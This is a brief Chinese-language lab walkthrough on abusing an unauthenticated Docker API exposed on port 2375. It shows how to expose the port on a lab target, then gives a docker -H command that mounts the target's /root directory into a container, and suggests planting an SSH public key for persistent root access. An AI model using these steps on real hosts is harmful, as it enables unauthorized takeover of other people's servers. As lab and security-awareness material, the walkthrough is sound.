docker 2375 端口作用:用于接收无TLS的Docker API请求。如果在此端口上允许远程访问并且未对其进行适当的安全措施,则可能存在严重的安全风险。因为如果攻击者可以访问该端口,他们将能够执行任何Docker API允许的操作,包括创建、停止和删除容器,甚至在主机上执行命令。
环境准备
靶机:安装docker
攻击机:安装docker
开启靶机docker 2375 端口
修改下面文件
sudo nano /lib/systemd/system/docker.service
内容修改为
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 --containerd=/run/containerd/containerd.sock
重启服务
sudo systemctl daemon-reload
验证是否开启成功
curl http://localhost:2375/version
利用过程
攻击机上 的docker 执行下面的命令连接靶机的docker 服务,挂载靶机 /root 目录到容器的 /host_root 下
docker -H tcp://<your_server_ip>:2375 run -v /root:/host_root -it ubuntu bash
执行成功之后,就已经进入了docker 容器中,
可以看到靶机的/root 目录已经成功挂载到容器中
下面就简单了,直接手动写入ssh 公钥到 /root/.ssh 目录下即可
同时我们也可以在容器中看到黑客已经在靶机中写好的公钥文件